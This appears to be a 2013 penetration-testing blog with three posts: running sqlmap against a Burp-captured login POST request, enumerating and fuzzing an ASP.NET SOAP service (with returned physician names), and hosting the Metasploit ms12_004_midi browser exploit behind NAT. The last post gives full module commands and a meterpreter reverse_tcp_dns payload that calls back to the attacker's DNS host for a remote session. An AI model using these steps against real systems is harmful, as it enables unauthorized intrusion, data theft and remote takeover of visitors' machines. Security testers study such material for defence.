Wednesday, December 18, 2013

SQLMap POST Request Injection


Using SQLMap and attempting to inject with POST Data, doesn't always seem to work very well (specifically, when you are dealing with session cookies and manually writing the SQLmap command line out) - I think that we've all experienced strange anomalies.

I've found something that makes the time consuming nature of copying session cookies out of burp, trying to get SQLMap to inject into the correct parameter, etc. etc. much easier.
First, we will need Burpsuite loaded up, we will also need our point of injection (URI).

1. Browse to target site http://example_site.com/Login.asp
2. Configure Burp proxy, point browser to Burp (127.0.0.1:8080) with Burp set to intercept in the proxy tab.
3. Click on the submit button on the login form
4. Burp catches the POST request and waits
5. Copy the entire POST request to a text file, I have called it 'post.txt' and placed it in the /sqlmap/ directory
(If you have used VI to paste the POST request into, make sure you remove the line spacing (basically make it look how it looks in Burp))
6. Run sqlmap as shown here (note that the'tfUPass' parameter is only an example):
./sqlmap.py -r post.txt -p tfUPass
The option '-r' tells SQLMap to read the 'search-test.txt' file to get the information used to inject in the POST request. '-p' is the parameter we are attacking. Bascially, SQLMap parses through the POST request for you, pulls out all pertinent information, such as session cookies, URL, etc.

Manual Data Enumeration via SOAP

You can use Burp Suite to manually enumerate data via WSDL/SOAP.
First, we'll need to spin up Burp to capture the requests.
Second, let's locate locate the '*.asmx' file (ASP.NET Webservices Source file), which should be fairly easy.
Try viewing the source code of the main page, or sub pages and search for '.asmx.'  Once you have found the file, we will need view the list of supported SOAP/WSDL operations.  This can be done by browsing directly to the '.asmx' file.

In this example, we browse to the following URL:
http://[host]/[File Name].asmx?

We are returned something similar to this. In some cases you'll have more operations listed, which gives you more to play with.
The following operations are supported. For a formal definition, please review the Service Description.

    GetPhysicianLastNames

This web service is using http://tempuri.org/ as its default namespace.
Recommendation: Change the default namespace before the XML Web service is made public.

The beauty of this is that by clicking on each of the supported operations, you will be returned with working examples of how to craft the SOAP/WSDL requests.
The easiest way to craft and test these examples is by copying out each working example (shown below) and send any Burp request (within the Proxy, History tab) to 'Repeater'.  Once you have the request in repeater, just copy and replace with the SOAP request data.

Our crafted SOAP/WSDL request:
POST /[File Name].asmx HTTP/1.1
Host: www.[host].com
Content-Type: text/xml; charset=utf-8
Content-Length: 381
SOAPAction: "http://tempuri.org/GetPhysicianLastNames"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetPhysicianLastNames xmlns="http://tempuri.org/">
      <prefixText>[Search String]</prefixText>
    </GetPhysicianLastNames>
  </soap:Body>
</soap:Envelope>

Within the 'PrefixText' tag, we insert our search string, in this case 'A' and click 'Go' to send the POST.
Now we see our results returned within the Response section of Burp Suite.
In this case, we returned (obviously) all physician last names starting with 'A'.:
X-AspNet-Version: 4.0.30319
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 699

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><GetPhysicianLastNamesResponse xmlns="http://tempuri.org/"><GetPhysicianLastNamesResult><string>Acenas-Recientes</string><string>Agyemang</string><string>Ahmed</string><string>Akhnoukh</string><string>Alacha</string><string>Albano</string><string>Alvarez</string><string>Anthony</string><string>Anthony-Yearwood</string><string>Antoine</string><string>Arnau</string><string>Augustin</string></GetPhysicianLastNamesResult></GetPhysicianLastNamesResponse></soap:Body></soap:Envelope>

How do we take this a step farther? If the listed operations won't reveal any juicy infos, then let's replace our search string with a payload.
Within the Burp -> Repeater -> Request window, right click and send the request to Intruder.
Click the Intruder tab and let's set our Payload Position (or Fuzz point). Click 'Clear' to remove the payload positions, then click your cursor between the 'PrefixText' tags, click 'Add'.
POST /[File Name].asmx HTTP/1.1
Host: www.[host].com
Content-Type: text/xml; charset=utf-8
Content-Length: 381
SOAPAction: "http://tempuri.org/GetPhysicianLastNames"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetPhysicianLastNames xmlns="http://tempuri.org/">
      <prefixText>§§</prefixText>
    </GetPhysicianLastNames>
  </soap:Body>
</soap:Envelope>

Now we can experiment with various payload lists (built in) or external.

Friday, December 6, 2013

Hosting Metasploit Browser Exploits Behind NAT Using DNS

Recently, I ran across a need to host a browser based exploit behind my NAT'd router.  Of course, the initial thought is to port forward and exploit away, which is the first step.  However, there are two issues to overcome.  First, using a reverse connection payload is not possible with an non-routable IP.  Second, binding a routable IP to the listening port is also not possible when your box is behind a NAT'd address.

We overcome this obstacle by creating a free DNS subdomain and point it at our public IP.  I used the site freedns.afraid.org.  There are a number of domains to leverage.

Remember, we will need to port forward two ports to our Metasploit listener box internal IP.  In this example, I've forwarded TCP port 8080 (webserver) and TCP port 4443 (payload connect back)



 **Important - In order to bind our listening address, create the payload, and enable to payload to connect back to our public IP address, we need to edit our '/etc/hosts' file.

Add the following line: (hostip is the internal IP Metasploit is listenting, subdomain.domain.com is the new DNS subdomain you created that points to your external IP):

hostip      subdomain.domain.com






**Additionally, it is important that when Metasploit resolves the DNS hostname, it gets the internal IP address.  This will allow it to bind locally.  This is why we added the above entry to our '/etc/hosts' file.

Now that we've laid the foundation, we can move forward to setting up Metasploit.  In this example, we use the 'ms12_004_midi' browser exploit module.

use exploit/windows/browser/ms12_004_midi



We will implement the Meterpreter 'reverse_tcp_dns' payload that will allow us to bind our DNS hostname within the payload - allowing it to call back to us.  This is an important step.

set PAYLOAD windows/meterpreter/reverse_tcp_dns



Set our variables.

set SRVHOST 10.0.0.15 
set URIPATH lamesauce
set LHOST subdomain.domain.com
set LPORT 4443

 


We are ready to start our server.


exploit



Now we test from our external Windows host.  Visit the URL containing our new domain. 



The vulnerability in the browser is exploited.  In this case, the Media Player plugin has a vulnerability in the way it handles (or can't handle) a corrupted .midi file.  We get our Meterpreter session.




The payload was able to call back to our listener using DNS.  We now have two way connection, a Meterpreter session.  All done over NAT.